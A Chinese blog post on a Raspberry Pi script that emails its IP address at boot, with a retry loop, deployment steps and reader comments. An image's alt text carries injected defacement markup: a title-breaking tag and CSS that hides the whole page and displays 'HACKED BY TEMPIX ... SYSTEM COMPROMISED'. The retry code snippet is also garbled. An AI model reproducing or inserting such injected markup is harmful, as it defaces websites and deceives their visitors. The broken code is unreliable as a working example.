Github:https://github.com/shenjia/raspbian-ip-mailer
问题
我的树莓派配置好无线网卡后,经常随身带来带去。但是公司和家里是两个不同网段的WIFI,如果用固定IP的话只能连接其中一个,如果用DHCP自动获取IP的话又不能保证每次分配到的IP不变。每次切换网络后要连接键盘显示器上去配置网络实在是太痛苦了。
解决方案
在社区里看到有人用python写一个脚本,一开机自动把ip用邮件发出来的方案(地址)。尝试了一下,在已经联通网络时脚本工作是正常的,但放到rc.local里开机执行,在连接smtp服务器时就报错退出了。
Traceback (most recent call last):
File "mailer.py", line 10, in
smtpserver = smtplib.SMTP('smtp.gmail.com', 587)
....
socket.gaierror: [Errno 8] nodename nor servname provided, or not known
考虑到系统启动后再执行脚本是正常的,推测原因可能是在脚本执行到时WIFI还没有连接上。经过测试,在脚本执行前加sleep 10就可以正常发出邮件,验证了这一想法。
解决问题的思路也很简单,用try..catch包裹建立连接的语句,然后定时重试。参考TCP/IP的连接重试机制,每次间隔的时间翻倍,多次尝试失败后退出。
try_max = 5
try_times = 0
try_delay = 1
while try_times try_max:
fail()
exit()
else:
time.sleep( try_delay )
try_delay *= 2
另外一个问题是整个脚本执行的全过程对用户没有任何反馈,用户不知道脚本有没有执行,执行情况如何。于是学习了一下/lib/lsb/init-functions,利用log_begin_msg、log_progress_msg、log_end_msg在脚本执行的不同阶段给予输出。这样在开机过程中可以很清晰的看到运行过程,以及错误情况。
部署
如果你的树莓派想使用这套方案,可以按下面的流程进行部署:
1、下载部署脚本(https://github.com/shenjia/raspbian-ip-mailer/raw/master/deploy.sh)
2、执行部署脚本
sudo chmod +x deploy.sh ./deploy.sh
3、用vi编辑/usr/local/bin/raspbian-ip-mailer.py中的帐号密码:
# Mail account settings send_to = 'username@gmail.com' mail_user = 'username@gmail.com' mail_password = 'password'
如果你用的不是gmail,那还需要更改服务器地址和端口号:
# Mail server settings smtp_server = 'smtp.gmail.com' smtp_port = 587
4、重启系统,如果一切正常,就可以收到ip邮件了,Enjoy it!
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)

似乎只能获取内网的ip,如192.168.1.111这样的。我是在虚拟机的debian 7上测试的。网上搜了一下,都没找到如何获取外网ip的方法。
试试curl http://ipecho.net/plain; echo;
hi,哥们,你是怎么配置自动连接家庭或公司的wifi?